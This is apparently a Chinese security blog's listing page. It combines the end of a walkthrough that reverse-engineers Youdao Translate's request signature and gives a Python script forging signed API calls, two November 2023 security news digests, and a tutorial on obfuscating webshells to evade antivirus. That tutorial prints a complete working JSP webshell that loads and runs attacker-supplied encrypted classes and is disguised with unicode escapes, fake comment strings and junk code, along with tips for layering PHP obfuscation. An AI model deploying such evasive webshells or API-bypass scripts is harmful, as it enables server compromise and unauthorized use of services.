这里可以看到sign是由函数k构成的,同时注意到这里也给出了k的参数,k是由client=fanyideskweb&mysticTime=${e}&product=webfanyi&key=${t}所组成的,此时再看函数E,o是时间戳,e这里未知,这时候该怎么办呢,先看看他是不是固定值,当自己不确定在哪下断点调试时,就在附近的几个可疑点都打下断点,观察e的值即可 经观察,这里的e值是固定的,即fsdsogkndfokasodnaso,此时k(o,e)中的参数我们都了解了,但我们注意到k函数中是有j在外包裹的,因此我们需要对j函数进行相关了解 function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           } 明显的md5加密,因此到这里也就都清楚了。 当我们进行请求时,首先获取当前的时间戳,此作为参数之一,同时与client等参数值组合,进行md5加密,就组成了sign的值。对于mysticTime这个参数,我们从k函数也了解到它其实就是时间戳,因此两个变化的参数到目前就都了解其生成过程了。 接下来尝试写python脚本 import hashlib import time import requests requests.packages.urllib3.disable_warnings() headers = {"Content-Length": "312", "Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"", "Accept": "application/json, text/plain, */*", "Content-Type": "application/x-www-form-urlencoded", "Sec-Ch-Ua-Mobile":"?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://fanyi.youdao.com", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://fanyi.youdao.com/", "Accept-Encoding": "gzip, deflate", } Cookie = { "OUTFOX_SEARCH_USER_ID":"239978291@10.130.108.41", "OUTFOX_SEARCH_USER_ID_NCOO":"520521807.43848985" } url = "" word = input("请输入翻译内容:") localtime = str(int(time.time() * 1000)) canshu = "client=fanyideskweb&mysticTime={}&product=webfanyi&key=fsdsogkndfokasodnaso".format(localtime) sign = hashlib.md5(canshu.encode(encoding='utf8')).hexdigest() data = {    "i": f"{word}",    "from": "auto",    "to": "",    "dictResult": "true",    "keyid": "webfanyi",    "sign": sign,    "client": "fanyideskweb",    "product": "webfanyi",    "appVersion": "1.0.0",    "vendor": "web",    "pointParam": "client,mysticTime,product",    "mysticTime": localtime,    "keyfrom": "fanyi.web" } res = requests.post(url=url,headers=headers,cookies=Cookie,data=data,verify=False) print(res.text) 此时便得到了加密数据,解密同理,不再阐述。
网络安全日报 2023年11月30日
1、Okta扩大了数据泄露的范围:所有客户支持用户都受到影响 https://www.securityweek.com/okta-broadens-scope-of-data-breach-all-customer-support-users-affected/ Okta 表示,闯入其支持案例管理系统的黑客窃取了所有客户支持系统用户的姓名和电子邮件地址,这一承认大大扩大了 10 月份事件的影响。Okta 最初声称只有 134 名客户(不到其客户群的 1%)受到影响,但在周三发布的最新更新中,Okta 安全主管 David Bradbury 表示,威胁行为者劫持了所有员工身份云 (WIC) 和客户身份解决方案的数据(CIS) 客户,特定政府级环境中的客户 2、Google 修补了 2023 年第七个 Chrome 零日漏洞 https://www.securityweek.com/google-patches-seventh-chrome-zero-day-of-2023/ 谷歌周二宣布了一项安全更新,解决了 Chrome 浏览器中的零日漏洞。这个高严重性问题被追踪为 CVE-2023-6345。该漏洞是由 Google 威胁分析小组 (TAG) 的 Benoît Sevens 和 Clément Lecigne 报告的,这表明该漏洞可能被间谍软件供应商利用。 3、DP World集团证实其数据遭到泄露 https://www.bleepingcomputer.com/news/security/dp-world-confirms-data-stolen-in-cyberattack-no-ransomware-used/ 2023年11月10日,DP World Australia遭受网络攻击。该集团表示,港口于11月13日恢复工作,并于11月17日恢复正常状态。超过三万个集装箱的积压在2023年11月20日完全清除。DP World集团已确认此次事件仅影响其澳大利亚的业务。同时,经过调查后,没有发现任何勒索软件的部署迹象。但是,DP World的调查确定其系统中的数据已被窃取。调查表明客 4、北德克萨斯州市政水务区遭受勒索软件攻击 https://securityaffairs.com/154881/cyber-crime/daixin-team-north-texas-municipal-water-district.html Daixin Team勒索团伙声称攻击了北德克萨斯州市政水务区(NTMWD),将NTMWD添加到其Tor泄漏站点的受害者列表上中,并声称从该机构窃取了大量数据并威胁要发布它。该团伙声称共窃取了33844个文件,包括董事会会议纪要、内部项目文件、人员详细信息、审计报告等数据,并在其网站中发布了窃取文件的列表文件。目前,NTMWD称他们只是电话服务中断,未透露更多信息。 5、研究人员发现蓝牙的底层安全漏洞影响蓝牙4.2到5.4版本 https://www.bleepingcomputer.com/news/security/new-bluffs-attack-lets-attackers-hijack-bluetooth-connections/ 研究人员开发了针对蓝牙的六种新攻击方式,并统称为“BLUFFS”,可以破解蓝牙会话的机密性,使设备容易受到冒充和中间人攻击(MitM)。研究人员表示,BLUFFS利用了蓝牙标准中两个先前未知的漏洞,这些漏洞与如何派生用于交换数据的会话密钥有关。这些漏洞不特定于硬件或软件配置,而是在体系结构层面上发生,这意味着它们影响了蓝牙的基本层次。该漏洞被标记为CVE-2023-24023 6、Qilin勒索软件声称攻击了汽车内饰巨头延锋 https://www.bleepingcomputer.com/news/security/qilin-ransomware-claims-attack-on-automotive-giant-yanfeng Qilin勒索软件组织声称对全球最大的汽车零部件供应商之一延锋汽车内饰(延锋)的网络攻击负责。延锋是一家专注于内饰零部件的中国汽车零部件开发商和制造商,在全球 240 个地点拥有超过 57,000 名员工。该公司向通用汽车、大众集团、福特、Stellantis(菲亚特、克莱斯勒、吉普、道奇)、宝马、戴姆勒、丰田、本田、日产和上汽集团销售内饰零部件。该公司构成了这些汽车制造商供应链的重 7、日本宇宙航空研究开发机构遭受网络攻击 https://www.theregister.com/2023/11/29/jaxa_cyberattack/ JAXA 在外部组织进行内部审计后才得知此次攻击。目前正在对这起黑客攻击事件进行详细调查,但尚未透露是谁策划了这起事件。 8、N. Korean Hackers“混合”macOS 恶意软件策略以逃避检测 https://thehackernews.com/2023/11/n-korean-hackers-mixing-and-matching.html 据观察,macOS 恶意软件(如 RustBucket 和 KANDYKORN)背后的朝鲜威胁行为者“混合和匹配”了两个不同攻击链的不同元素,利用 RustBucket 投放器来提供 KANDYKORN。 9、黑客通过暴露的 Unitronics PLC 入侵美国供水设施 https://www.bleepingcomputer.com/news/security/hackers-breach-us-water-facility-via-exposed-unitronics-plcs/ CISA(网络安全和基础设施安全局)警告称,威胁行为者通过侵入在线暴露的 Unitronics 可编程逻辑控制器 (PLC) 破坏了美国的供水设施。 10、美国查获朝鲜 Lazarus 黑客使用的 Sinbad 加密货币混合服务 https://www.bleepingcomputer.com/news/security/us-seizes-sinbad-crypto-mixer-used-by-north-korean-lazarus-hackers/ 美国财政部外国资产控制办公室 (OFAC) 对 Sinbad.io (Sinbad) 进行了制裁,因为该网站涉嫌被朝鲜黑客利用,实施大规模加密货币盗窃,导致数亿美元的损失。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月29日
1、游戏开发商Gellyberry Studios遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/ransomware-attack-on-indie-game-maker-wiped-all-player-accounts/ Ethyrial: Echoes of Yore是由独立游戏发行商Gellyberry Studios开发的一款大型多人在线角色扮演游戏(MMORPG),该游戏的主服务器遭受勒索软件攻击,攻击者加密了所有数据,包括本地备份驱动器,并要求支付赎金以获取解密密钥。该游戏开发商不相信支付赎金能够获得解密密钥,因此他们决定手动恢复所有受影响的系统。此次事件影响了该游戏的17000 2、医疗公司Henry Schein再次遭受BlackCat勒索团伙攻击 https://www.bleepingcomputer.com/news/security/healthcare-giant-henry-schein-hit-twice-by-blackcat-ransomware/ 美国医疗公司Henry Schein本月第二次报告遭到BlackCat/ALPHV勒索软件团伙的网络攻击。11月22日,该公司表示,由BlackCat勒索团伙进行的另一次攻击导致其一些应用程序和电子商务平台再次关闭。今天,公司透露已经恢复了其美国电子商务平台,并预计其加拿大和欧洲平台也将很快恢复在线。Henry Schein已确定事件发生的原因,并且先前披露的BlackCa 3、斯洛文尼亚的电力公司HSE遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/slovenias-largest-power-provider-hse-hit-by-ransomware-attack/ 斯洛文尼亚电力公司Holding Slovenske Elektrarne(HSE)遭受了一次勒索软件攻击,导致其系统被攻击且文件被加密。HSE是斯洛文尼亚最大的发电公司,约占国内生产的60%,被认为是该国的关键基础设施。该公司于11月24日控制住此次事件,到目前为止,该公司尚未收到勒索赎金要求。此事件并未影响电力生产,且未导致运营中断或重大经济损失。有消息称Rhysida勒 4、Ray AI 框架中发现严重漏洞 https://www.securityweek.com/critical-vulnerability-found-in-ray-ai-framework/ 网络安全公司 Bishop Fox 警告称,人工智能开源计算框架 Ray 中的一个严重漏洞可能允许对所有节点进行未经授权的访问。该错误的编号为 CVE-2023-48023,其存在是因为 Ray 未在其至少两个组件(即仪表板和客户端)上正确强制执行身份验证。 5、严重的 ownCloud 漏洞开始被利用 https://www.securityweek.com/exploitation-of-critical-owncloud-vulnerability-begins/ 开源文件共享和协作软件 ownCloud 公开披露后仅几天,威胁行为者就开始利用该漏洞。该漏洞编号为CVE-2023-49103,影响 Graphapi 应用程序,允许攻击者检索敏感环境变量,包括凭据、许可证密钥和其他系统信息。 6、一项国际执法行动捣毁了一个在乌克兰运作的勒索软件组织 https://securityaffairs.com/154897/cyber-crime/ukraine-based-ransomware-group-dismantled.html 一项国际执法行动捣毁了一个在乌克兰运作的勒索软件组织的核心。由欧洲刑警组织和欧洲司法组织领导的联合执法行动,在七个国家警方的支持下,在乌克兰逮捕了勒索软件组织的核心成员。警方在乌克兰逮捕了这名主犯以及其他四名嫌疑人。共搜查30处,查获数码设备工具百余件。该组织使用多个勒索软件系列针对 71 个国家/地区的组织,包括LockerGoga、MegaCortex、HIVE和Dharma。该勒索软件组织针对的是大型 7、Google Workspace中的设计缺陷可让攻击者获得未经授权的访问 https://thehackernews.com/2023/11/design-flaw-in-google-workspace-could.html 网络安全研究人员详细介绍了 Google Workspace 的全域委托 ( DWD ) 功能中的“严重设计缺陷”,威胁行为者可能会利用该缺陷来促进权限升级,并在没有超级管理员权限的情况下获得对 Workspace API 的未经授权的访问。 8、孟加拉国国家电信监控系统泄露公民数据后,遭数据擦除勒索 https://www.secrss.com/articles/61092 孟加拉国国家电信监测中心(NTMC)是一家情报机构,参与收集人们的手机和互联网活动。几个月来,该中心通过一个与其系统相关联的不安全数据库公开了大量个人信息。就在本月上旬,匿名黑客袭击了暴露的数据库,删除了系统中的各类详细信息,并声称已窃取这些信息。 9、龙芯 3A6000 国产桌面通用处理器发布 https://www.ithome.com/0/735/469.htm 11 月 28 日的 2023 龙芯产品发布暨用户大会上,龙芯 3A6000 国产桌面通用处理器正式发布,拥有四个物理核 / 八个逻辑核,主频 2.0-2.5GHz。片内集成安全可信模块,支持安全启动和国密算法(SM2、SM3、SM4)等。 10、谷歌云盘发生未知故障,部分用户丢失近半年数据 https://www.secrss.com/articles/61163 从上周开始,谷歌支持论坛上陆续有大量谷歌云盘(Google Drive)用户报告丢失了最近半年的数据,云盘中的数据和文件夹结构被回滚到了今年5月份。根据投诉用户的反馈,帐户的活动日志可以确认用户自己没有意外删除数据,是谷歌云盘自身系统出现问题导致用户本地设备和谷歌云之间的数据在某些时候无法同步。一些丢失数据的用户的设备中还留有丢失数据的脱机缓存,但目前包括谷歌云的工程师在内,还没人想出恢复设备缓存数据的方法。一位谷歌技术支持工程师在给用户的回复中确认,在一次产品更新后,确实发生了用户数据丢失问题,谷歌已经在调查该事件 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Webshell混淆免杀的一些思路
1、简介 为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。 2、混淆字符 混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。 Java代码示例: 然后可以上传vt查杀可以看到还是会被挺多杀软识别的。 现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。 3、利用注释 利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。 Java示例: 然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。 值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。 4、改变代码特征 改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加 部分代码截图: 可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。 全部代码: <%@ page import="java.io.InputStream" %> <%@ page import="javax.crypto.spec.SecretKeySpec" %> <%@ page import="javax.crypto.Cipher" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.io.IOException" %> <%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";    class Register extends ClassLoader {        public Register(ClassLoader username) {            super(username);       }        public Class Query/*\u3333*/(byte[] password) {            int len = password.length;            String s1 = "/*";            Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);            String s2 = "*/";            return aClass;       }   }    public byte[] x(byte[] s, boolean m) {        // 这行代码换了个顺序        byte[] bs = xc.getBytes();        try {            String sss = "/*";            String decode = "\u0041\u0045\u0053";            Cipher c = Cipher.getInstance(decode);            String ccc = "*/";            // if代替了原本的三元表达式            int flag = 0xAFFFF;            if (m) {                flag = 1;           } else {                flag = 2;           }            String acaw = "/*";            c.init(flag, new SecretKeySpec(bs, decode));            String ANANAWU = "*/";            String string1 = "/*";            byte[] bytes = c.doFinal(s);            String string12 = "*/";            return bytes;       } catch (Exception e) {            return null;       }   }    public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {        // 添加注释        /*o.equls(null)*/        int x = 10;        int y = 20;        // 这里有一些毫无意义的操作        x = (x + y) * 2;        y = x - y;        String meaninglessString = "Hello, this is a meaningless string.";        if (x > y) {            x = x * 2;       } else {            y = y * 2;       }        String sss = "/*";        o./*o.equls(null)*/equals/*o.equls(null)*/(bos);        String ccc = "*/";        o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);        String ac = "//";        o.toString/*o.equls(null)*/();   }    public void run2(byte[] data_bytes, HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";        Register REG = new Register(this.getClass().getClassLoader());        Class cs = REG.Query(data_bytes);        session.setAttribute(py, cs);   }    public Object os_return(HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        return  session.getAttribute(py);   }    public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {        byte[] x = x(bos.toByteArray(), true);        os.write(x);   }    public void setAttribute(HttpServletRequest request, String key, Object value) {        request.setAttribute(key, value);   }    public ByteArrayOutputStream getBos() {        ByteArrayOutputStream arrOut = null;        arrOut = new ByteArrayOutputStream();        return arrOut;   } %><%    try {        String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        int length = Integer.valueOf/*o.equls(null)*/(header);        byte[] data_bytes = new byte[/*o.equls(null)*/length];        InputStream is = request.getInputStream();        // for循环替代了while循环        for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));        // 原本的false变成了 !true        data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);        OutputStream os = response.getOutputStream();        ByteArrayOutputStream bos = getBos();        boolean flag = session.getAttribute(py) == null;        if (flag) {            run2(data_bytes, session);       } else {            setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);            String s = "/*";Class cs = (Class) os_return(session);String c = "*/";            Object f = (cs).newInstance();            run(f, bos, pageContext);            /* 垃圾代码 */            int a = 10;            int b = 20;            for (int i = 0; i < 5; i++) {                a += b;                b -= a;           }            String meaninglessString = "This is a meaningless string.";            int[] numbers = {1, 2, 3, 4, 5};            for (int num : numbers) {                if (num % 2 == 0) {                    // 不执行任何操作               } else {                    // 不执行任何操作               }           }            /* 垃圾代码 */            pull(bos, os);       }   } catch (Exception e) {   } %> 免杀效果: Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。 5、利用代码加密工具 上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。 比如随便找一些php在线混淆哥斯拉的webshell 链接也是没有问题的 虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。 经过3次混淆的phpwebshell,反正我是认不出来了。 类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。 6、总结 文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页